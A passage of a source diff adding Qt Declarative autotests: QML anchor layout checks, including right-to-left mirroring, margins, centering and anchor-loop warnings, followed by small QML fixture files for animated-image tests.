+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect7"))->x(), 0.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect8"))->x(), 240.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect9"))->x(), 120.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect10"))->x(), -10.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect11"))->x(), 230.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect12"))->x(), 110.0);
+
+ //vertical
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect13"))->y(), 20.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect14"))->y(), 155.0);
+
+ //stretch
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect15"))->x(), 26.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect15"))->property("width").toReal(), 96.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect16"))->x(), 26.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect16"))->property("width").toReal(), 192.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect17"))->x(), -70.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect17"))->property("width").toReal(), 192.0);
+
+ //vertical stretch
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect18"))->y(), 20.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect18"))->property("height").toReal(), 40.0);
+
+ //more parent horizontal
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect19"))->x(), 115.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect20"))->x(), 235.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect21"))->x(), -5.0);
+
+ //centerIn
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect22"))->x(), 69.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect22"))->y(), 5.0);
+
+ //margins
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->x(), 31.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->y(), 5.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->property("width").toReal(), 86.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->property("height").toReal(), 10.0);
+
+ // offsets
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect24"))->x(), 26.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect25"))->y(), 60.0);
+ QCOMPARE(findObject(view->rootObject(), QLatin1String("rect26"))->y(), 5.0);
+
+ //baseline
+ QDeclarativeText *text1 = findItem<QDeclarativeText>(view->rootObject(), QLatin1String("text1"));
+ QDeclarativeText *text2 = findItem<QDeclarativeText>(view->rootObject(), QLatin1String("text2"));
+ QCOMPARE(text1->y(), text2->y());
+
+ delete view;
+}
+
+QDeclarativeItem* childItem(QDeclarativeItem *parentItem, const char * itemString) {
+ return findItem<QDeclarativeItem>(parentItem, QLatin1String(itemString));
+}
+
+qreal offsetMasterRTL(QDeclarativeItem *rootItem, const char * itemString) {
+ QDeclarativeItem* masterItem = findItem<QDeclarativeItem>(rootItem, QLatin1String("masterRect"));
+ return masterItem->width()+2*masterItem->x()-findItem<QDeclarativeItem>(rootItem, QLatin1String(itemString))->width();
+}
+
+qreal offsetParentRTL(QDeclarativeItem *rootItem, const char * itemString) {
+ return rootItem->width()+2*rootItem->x()-findItem<QDeclarativeItem>(rootItem, QLatin1String(itemString))->width();
+}
+
+void mirrorAnchors(QDeclarativeItem *item) {
+ QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item);
+ itemPrivate->setLayoutMirror(true);
+}
+
+void tst_qdeclarativeanchors::basicAnchorsRTL()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchors.qml"));
+
+ qApp->processEvents();
+
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(view->rootObject());
+ foreach(QObject *child, rootItem->children()) {
+ bool mirrored = QDeclarativeItemPrivate::get(qobject_cast<QDeclarativeItem*>(child))->anchors()->mirrored();
+ QCOMPARE(mirrored, false);
+ }
+
+ foreach(QObject *child, rootItem->children())
+ mirrorAnchors(qobject_cast<QDeclarativeItem*>(child));
+
+ foreach(QObject *child, rootItem->children()) {
+ bool mirrored = QDeclarativeItemPrivate::get(qobject_cast<QDeclarativeItem*>(child))->anchors()->mirrored();
+ QCOMPARE(mirrored, true);
+ }
+
+ //sibling horizontal
+ QCOMPARE(childItem(rootItem, "rect1")->x(), offsetMasterRTL(rootItem, "rect1")-26.0);
+ QCOMPARE(childItem(rootItem, "rect2")->x(), offsetMasterRTL(rootItem, "rect2")-122.0);
+ QCOMPARE(childItem(rootItem, "rect3")->x(), offsetMasterRTL(rootItem, "rect3")-74.0);
+ QCOMPARE(childItem(rootItem, "rect4")->x(), offsetMasterRTL(rootItem, "rect4")-16.0);
+ QCOMPARE(childItem(rootItem, "rect5")->x(), offsetMasterRTL(rootItem, "rect5")-112.0);
+ QCOMPARE(childItem(rootItem, "rect6")->x(), offsetMasterRTL(rootItem, "rect6")-64.0);
+
+ //parent horizontal
+ QCOMPARE(childItem(rootItem, "rect7")->x(), offsetParentRTL(rootItem, "rect7")-0.0);
+ QCOMPARE(childItem(rootItem, "rect8")->x(), offsetParentRTL(rootItem, "rect8")-240.0);
+ QCOMPARE(childItem(rootItem, "rect9")->x(), offsetParentRTL(rootItem, "rect9")-120.0);
+ QCOMPARE(childItem(rootItem, "rect10")->x(), offsetParentRTL(rootItem, "rect10")+10.0);
+ QCOMPARE(childItem(rootItem, "rect11")->x(), offsetParentRTL(rootItem, "rect11")-230.0);
+ QCOMPARE(childItem(rootItem, "rect12")->x(), offsetParentRTL(rootItem, "rect12")-110.0);
+
+ //vertical
+ QCOMPARE(childItem(rootItem, "rect13")->y(), 20.0);
+ QCOMPARE(childItem(rootItem, "rect14")->y(), 155.0);
+
+ //stretch
+ QCOMPARE(childItem(rootItem, "rect15")->x(), offsetMasterRTL(rootItem, "rect15")-26.0);
+ QCOMPARE(childItem(rootItem, "rect15")->width(), 96.0);
+ QCOMPARE(childItem(rootItem, "rect16")->x(), offsetMasterRTL(rootItem, "rect16")-26.0);
+ QCOMPARE(childItem(rootItem, "rect16")->width(), 192.0);
+ QCOMPARE(childItem(rootItem, "rect17")->x(), offsetMasterRTL(rootItem, "rect17")+70.0);
+ QCOMPARE(childItem(rootItem, "rect17")->width(), 192.0);
+
+ //vertical stretch
+ QCOMPARE(childItem(rootItem, "rect18")->y(), 20.0);
+ QCOMPARE(childItem(rootItem, "rect18")->height(), 40.0);
+
+ //more parent horizontal
+ QCOMPARE(childItem(rootItem, "rect19")->x(), offsetParentRTL(rootItem, "rect19")-115.0);
+ QCOMPARE(childItem(rootItem, "rect20")->x(), offsetParentRTL(rootItem, "rect20")-235.0);
+ QCOMPARE(childItem(rootItem, "rect21")->x(), offsetParentRTL(rootItem, "rect21")+5.0);
+
+ //centerIn
+ QCOMPARE(childItem(rootItem, "rect22")->x(), offsetMasterRTL(rootItem, "rect22")-69.0);
+ QCOMPARE(childItem(rootItem, "rect22")->y(), 5.0);
+
+ //margins
+ QCOMPARE(childItem(rootItem, "rect23")->x(), offsetMasterRTL(rootItem, "rect23")-31.0);
+ QCOMPARE(childItem(rootItem, "rect23")->y(), 5.0);
+ QCOMPARE(childItem(rootItem, "rect23")->width(), 86.0);
+ QCOMPARE(childItem(rootItem, "rect23")->height(), 10.0);
+
+ // offsets
+ QCOMPARE(childItem(rootItem, "rect24")->x(), offsetMasterRTL(rootItem, "rect24")-26.0);
+ QCOMPARE(childItem(rootItem, "rect25")->y(), 60.0);
+ QCOMPARE(childItem(rootItem, "rect26")->y(), 5.0);
+
+ //baseline
+ QDeclarativeText *text1 = findItem<QDeclarativeText>(rootItem, QLatin1String("text1"));
+ QDeclarativeText *text2 = findItem<QDeclarativeText>(rootItem, QLatin1String("text2"));
+ QCOMPARE(text1->y(), text2->y());
+
+ delete view;
+}
+
+// mostly testing that we don't crash
+void tst_qdeclarativeanchors::loops()
+{
+ {
+ QUrl source(QUrl::fromLocalFile(SRCDIR "/data/loop1.qml"));
+
+ QString expect = source.toString() + ":6:5: QML Text: Possible anchor loop detected on horizontal anchor.";
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(source);
+ qApp->processEvents();
+
+ delete view;
+ }
+
+ {
+ QUrl source(QUrl::fromLocalFile(SRCDIR "/data/loop2.qml"));
+
+ QString expect = source.toString() + ":8:3: QML Image: Possible anchor loop detected on horizontal anchor.";
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(source);
+ qApp->processEvents();
+
+ delete view;
+ }
+}
+
+void tst_qdeclarativeanchors::illegalSets()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, warning);
+
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1());
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\n" + qml.toUtf8()), QUrl::fromLocalFile(""));
+ if (!component.isReady())
+ qWarning() << "Test errors:" << component.errors();
+ QVERIFY(component.isReady());
+ QObject *o = component.create();
+ delete o;
+}
+
+void tst_qdeclarativeanchors::illegalSets_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("warning");
+
+ QTest::newRow("H - too many anchors")
+ << "Rectangle { id: rect; Rectangle { anchors.left: rect.left; anchors.right: rect.right; anchors.horizontalCenter: rect.horizontalCenter } }"
+ << "file::2:23: QML Rectangle: Cannot specify left, right, and hcenter anchors.";
+
+ foreach (const QString &side, QStringList() << "left" << "right") {
+ QTest::newRow("H - anchor to V")
+ << QString("Rectangle { Rectangle { anchors.%1: parent.top } }").arg(side)
+ << "file::2:13: QML Rectangle: Cannot anchor a horizontal edge to a vertical edge.";
+
+ QTest::newRow("H - anchor to non parent/sibling")
+ << QString("Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.%1: rect.%1 } }").arg(side)
+ << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling.";
+
+ QTest::newRow("H - anchor to self")
+ << QString("Rectangle { id: rect; anchors.%1: rect.%1 }").arg(side)
+ << "file::2:1: QML Rectangle: Cannot anchor item to self.";
+ }
+
+
+ QTest::newRow("V - too many anchors")
+ << "Rectangle { id: rect; Rectangle { anchors.top: rect.top; anchors.bottom: rect.bottom; anchors.verticalCenter: rect.verticalCenter } }"
+ << "file::2:23: QML Rectangle: Cannot specify top, bottom, and vcenter anchors.";
+
+ QTest::newRow("V - too many anchors with baseline")
+ << "Rectangle { Text { id: text1; text: \"Hello\" } Text { anchors.baseline: text1.baseline; anchors.top: text1.top; } }"
+ << "file::2:47: QML Text: Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.";
+
+ foreach (const QString &side, QStringList() << "top" << "bottom" << "baseline") {
+
+ QTest::newRow("V - anchor to H")
+ << QString("Rectangle { Rectangle { anchors.%1: parent.left } }").arg(side)
+ << "file::2:13: QML Rectangle: Cannot anchor a vertical edge to a horizontal edge.";
+
+ QTest::newRow("V - anchor to non parent/sibling")
+ << QString("Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.%1: rect.%1 } }").arg(side)
+ << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling.";
+
+ QTest::newRow("V - anchor to self")
+ << QString("Rectangle { id: rect; anchors.%1: rect.%1 }").arg(side)
+ << "file::2:1: QML Rectangle: Cannot anchor item to self.";
+ }
+
+
+ QTest::newRow("centerIn - anchor to non parent/sibling")
+ << "Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.centerIn: rect} }"
+ << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling.";
+
+
+ QTest::newRow("fill - anchor to non parent/sibling")
+ << "Rectangle { Item { Rectangle { id: rect } } Rectangle { anchors.fill: rect} }"
+ << "file::2:45: QML Rectangle: Cannot anchor to an item that isn't a parent or sibling.";
+}
+
+void tst_qdeclarativeanchors::reset()
+{
+ QFETCH(QString, side);
+ QFETCH(QDeclarativeAnchorLine::AnchorLine, anchorLine);
+ QFETCH(QDeclarativeAnchors::Anchor, usedAnchor);
+
+ QDeclarativeItem *baseItem = new QDeclarativeItem;
+
+ QDeclarativeAnchorLine anchor;
+ anchor.item = baseItem;
+ anchor.anchorLine = anchorLine;
+
+ QDeclarativeItem *item = new QDeclarativeItem;
+ QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item);
+
+ const QMetaObject *meta = itemPrivate->anchors()->metaObject();
+ QMetaProperty p = meta->property(meta->indexOfProperty(side.toUtf8().constData()));
+
+ QVERIFY(p.write(itemPrivate->anchors(), qVariantFromValue(anchor)));
+ QCOMPARE(itemPrivate->anchors()->usedAnchors().testFlag(usedAnchor), true);
+
+ QVERIFY(p.reset(itemPrivate->anchors()));
+ QCOMPARE(itemPrivate->anchors()->usedAnchors().testFlag(usedAnchor), false);
+
+ delete item;
+ delete baseItem;
+}
+
+void tst_qdeclarativeanchors::reset_data()
+{
+ QTest::addColumn<QString>("side");
+ QTest::addColumn<QDeclarativeAnchorLine::AnchorLine>("anchorLine");
+ QTest::addColumn<QDeclarativeAnchors::Anchor>("usedAnchor");
+
+ QTest::newRow("left") << "left" << QDeclarativeAnchorLine::Left << QDeclarativeAnchors::LeftAnchor;
+ QTest::newRow("top") << "top" << QDeclarativeAnchorLine::Top << QDeclarativeAnchors::TopAnchor;
+ QTest::newRow("right") << "right" << QDeclarativeAnchorLine::Right << QDeclarativeAnchors::RightAnchor;
+ QTest::newRow("bottom") << "bottom" << QDeclarativeAnchorLine::Bottom << QDeclarativeAnchors::BottomAnchor;
+
+ QTest::newRow("hcenter") << "horizontalCenter" << QDeclarativeAnchorLine::HCenter << QDeclarativeAnchors::HCenterAnchor;
+ QTest::newRow("vcenter") << "verticalCenter" << QDeclarativeAnchorLine::VCenter << QDeclarativeAnchors::VCenterAnchor;
+ QTest::newRow("baseline") << "baseline" << QDeclarativeAnchorLine::Baseline << QDeclarativeAnchors::BaselineAnchor;
+}
+
+void tst_qdeclarativeanchors::resetConvenience()
+{
+ QDeclarativeItem *baseItem = new QDeclarativeItem;
+ QDeclarativeItem *item = new QDeclarativeItem;
+ QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item);
+
+ //fill
+ itemPrivate->anchors()->setFill(baseItem);
+ QVERIFY(itemPrivate->anchors()->fill() == baseItem);
+ itemPrivate->anchors()->resetFill();
+ QVERIFY(itemPrivate->anchors()->fill() == 0);
+
+ //centerIn
+ itemPrivate->anchors()->setCenterIn(baseItem);
+ QVERIFY(itemPrivate->anchors()->centerIn() == baseItem);
+ itemPrivate->anchors()->resetCenterIn();
+ QVERIFY(itemPrivate->anchors()->centerIn() == 0);
+
+ delete item;
+ delete baseItem;
+}
+
+void tst_qdeclarativeanchors::nullItem()
+{
+ QFETCH(QString, side);
+
+ QDeclarativeAnchorLine anchor;
+ QDeclarativeItem *item = new QDeclarativeItem;
+ QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item);
+
+ const QMetaObject *meta = itemPrivate->anchors()->metaObject();
+ QMetaProperty p = meta->property(meta->indexOfProperty(side.toUtf8().constData()));
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML Item: Cannot anchor to a null item.");
+ QVERIFY(p.write(itemPrivate->anchors(), qVariantFromValue(anchor)));
+
+ delete item;
+}
+
+void tst_qdeclarativeanchors::nullItem_data()
+{
+ QTest::addColumn<QString>("side");
+
+ QTest::newRow("left") << "left";
+ QTest::newRow("top") << "top";
+ QTest::newRow("right") << "right";
+ QTest::newRow("bottom") << "bottom";
+
+ QTest::newRow("hcenter") << "horizontalCenter";
+ QTest::newRow("vcenter") << "verticalCenter";
+ QTest::newRow("baseline") << "baseline";
+}
+
+void tst_qdeclarativeanchors::crash1()
+{
+ QUrl source(QUrl::fromLocalFile(SRCDIR "/data/crash1.qml"));
+
+ QString expect = source.toString() + ":4:5: QML Text: Possible anchor loop detected on fill.";
+
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+
+ // QT-3245 ... anchor loop detection needs improving.
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+
+ QDeclarativeView *view = new QDeclarativeView(source);
+ qApp->processEvents();
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::fill()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/fill.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("filler"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QCOMPARE(rect->x(), 0.0 + 10.0);
+ QCOMPARE(rect->y(), 0.0 + 30.0);
+ QCOMPARE(rect->width(), 200.0 - 10.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 30.0 - 40.0);
+ //Alter Offsets (tests QTBUG-6631)
+ rectPrivate->anchors()->setLeftMargin(20.0);
+ rectPrivate->anchors()->setRightMargin(0.0);
+ rectPrivate->anchors()->setBottomMargin(0.0);
+ rectPrivate->anchors()->setTopMargin(10.0);
+ QCOMPARE(rect->x(), 0.0 + 20.0);
+ QCOMPARE(rect->y(), 0.0 + 10.0);
+ QCOMPARE(rect->width(), 200.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 10.0);
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::fillRTL()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/fill.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("filler"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ mirrorAnchors(rect);
+
+ QCOMPARE(rect->x(), 0.0 + 20.0);
+ QCOMPARE(rect->y(), 0.0 + 30.0);
+ QCOMPARE(rect->width(), 200.0 - 10.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 30.0 - 40.0);
+ //Alter Offsets (tests QTBUG-6631)
+ rectPrivate->anchors()->setLeftMargin(20.0);
+ rectPrivate->anchors()->setRightMargin(0.0);
+ rectPrivate->anchors()->setBottomMargin(0.0);
+ rectPrivate->anchors()->setTopMargin(10.0);
+ QCOMPARE(rect->x(), 0.0 + 0.0);
+ QCOMPARE(rect->y(), 0.0 + 10.0);
+ QCOMPARE(rect->width(), 200.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 10.0);
+
+ delete view;
+}
+void tst_qdeclarativeanchors::centerIn()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/centerin.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("centered"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QCOMPARE(rect->x(), 75.0 + 10);
+ QCOMPARE(rect->y(), 75.0 + 30);
+ //Alter Offsets (tests QTBUG-6631)
+ rectPrivate->anchors()->setHorizontalCenterOffset(-20.0);
+ rectPrivate->anchors()->setVerticalCenterOffset(-10.0);
+ QCOMPARE(rect->x(), 75.0 - 20.0);
+ QCOMPARE(rect->y(), 75.0 - 10.0);
+
+ delete view;
+}
+
+
+void tst_qdeclarativeanchors::centerInRTL()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/centerin.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("centered"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ mirrorAnchors(rect);
+
+ QCOMPARE(rect->x(), 75.0 - 10);
+ QCOMPARE(rect->y(), 75.0 + 30);
+ //Alter Offsets (tests QTBUG-6631)
+ rectPrivate->anchors()->setHorizontalCenterOffset(-20.0);
+ rectPrivate->anchors()->setVerticalCenterOffset(-10.0);
+ QCOMPARE(rect->x(), 75.0 + 20.0);
+ QCOMPARE(rect->y(), 75.0 - 10.0);
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::hvCenter()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/hvCenter.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("centered"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ // test QTBUG-10999
+ QCOMPARE(rect->x(), 10.0);
+ QCOMPARE(rect->y(), 19.0);
+
+ rectPrivate->anchors()->setHorizontalCenterOffset(-5.0);
+ rectPrivate->anchors()->setVerticalCenterOffset(5.0);
+ QCOMPARE(rect->x(), 10.0 - 5.0);
+ QCOMPARE(rect->y(), 19.0 + 5.0);
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::hvCenterRTL()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/hvCenter.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("centered"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ mirrorAnchors(rect);
+
+ // test QTBUG-10999
+ QCOMPARE(rect->x(), 10.0);
+ QCOMPARE(rect->y(), 19.0);
+
+ rectPrivate->anchors()->setHorizontalCenterOffset(-5.0);
+ rectPrivate->anchors()->setVerticalCenterOffset(5.0);
+ QCOMPARE(rect->x(), 10.0 + 5.0);
+ QCOMPARE(rect->y(), 19.0 + 5.0);
+
+ delete view;
+}
+void tst_qdeclarativeanchors::margins()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/margins.qml"));
+
+ qApp->processEvents();
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("filler"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QCOMPARE(rect->x(), 5.0);
+ QCOMPARE(rect->y(), 6.0);
+ QCOMPARE(rect->width(), 200.0 - 5.0 - 10.0);
+ QCOMPARE(rect->height(), 200.0 - 6.0 - 10.0);
+
+ rectPrivate->anchors()->setTopMargin(0.0);
+ rectPrivate->anchors()->setMargins(20.0);
+
+ QCOMPARE(rect->x(), 5.0);
+ QCOMPARE(rect->y(), 20.0);
+ QCOMPARE(rect->width(), 200.0 - 5.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 20.0 - 20.0);
+
+ delete view;
+}
+
+void tst_qdeclarativeanchors::marginsRTL()
+{
+ QDeclarativeView *view = new QDeclarativeView(QUrl::fromLocalFile(SRCDIR "/data/margins.qml"));
+
+ QDeclarativeRectangle* rect = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("filler"));
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ mirrorAnchors(rect);
+
+ QCOMPARE(rect->x(), 10.0);
+ QCOMPARE(rect->y(), 6.0);
+ QCOMPARE(rect->width(), 200.0 - 5.0 - 10.0);
+ QCOMPARE(rect->height(), 200.0 - 6.0 - 10.0);
+
+ rectPrivate->anchors()->setTopMargin(0.0);
+ rectPrivate->anchors()->setMargins(20.0);
+
+ QCOMPARE(rect->x(), 20.0);
+ QCOMPARE(rect->y(), 20.0);
+ QCOMPARE(rect->width(), 200.0 - 5.0 - 20.0);
+ QCOMPARE(rect->height(), 200.0 - 20.0 - 20.0);
+
+ delete view;
+}
+
+
+QTEST_MAIN(tst_qdeclarativeanchors)
+
+#include "tst_qdeclarativeanchors.moc"
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.gif
new file mode 100644
index 00000000..1270bfaa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.gif
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.qml
new file mode 100644
index 00000000..51deb56b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/colors.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "colors.gif"
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
new file mode 100644
index 00000000..cfb55f27
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
new file mode 100644
index 00000000..8729dd2e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "hearts.gif"
+ playing: false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qmldir b/tests/auto/declarative/qdeclarativeanimatedimage/data/qmldir
new file mode 100644
index 00000000..ef7c1f44
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qmldir
@@ -0,0 +1 @@
+# No local types
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
new file mode 100644
index 00000000..cf5b6011
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 500
+ height: 500
+
+ AnimatedImage {
+ objectName: "anim"
+ anchors.centerIn: parent
+ asynchronous: true
+ opacity: status == AnimatedImage.Ready ? 1 : 0
+
+ Behavior on opacity {
+ NumberAnimation { duration: 1000 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.gif
new file mode 100644
index 00000000..7c4cd186
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.gif
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.qml
new file mode 100644
index 00000000..d44937f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "stickman.gif"
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanerror1.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanerror1.qml
new file mode 100644
index 00000000..f08f74da
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanerror1.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ sourceSize: "240x180"
+ source: "stickman.gif"
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanpause.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanpause.qml
new file mode 100644
index 00000000..1d7e2590
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanpause.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "stickman.gif"
+ paused: true
+ currentFrame: 2
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanscaled.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanscaled.qml
new file mode 100644
index 00000000..8b24d737
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanscaled.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ width: 240
+ height: 180
+ source: "stickman.gif"
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanstopped.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanstopped.qml
new file mode 100644
index 00000000..c5b14137
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanstopped.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "stickman.gif"
+ playing: false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro b/tests/auto/declarative/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro
new file mode 100644
index 00000000..3d040a67
--- /dev/null
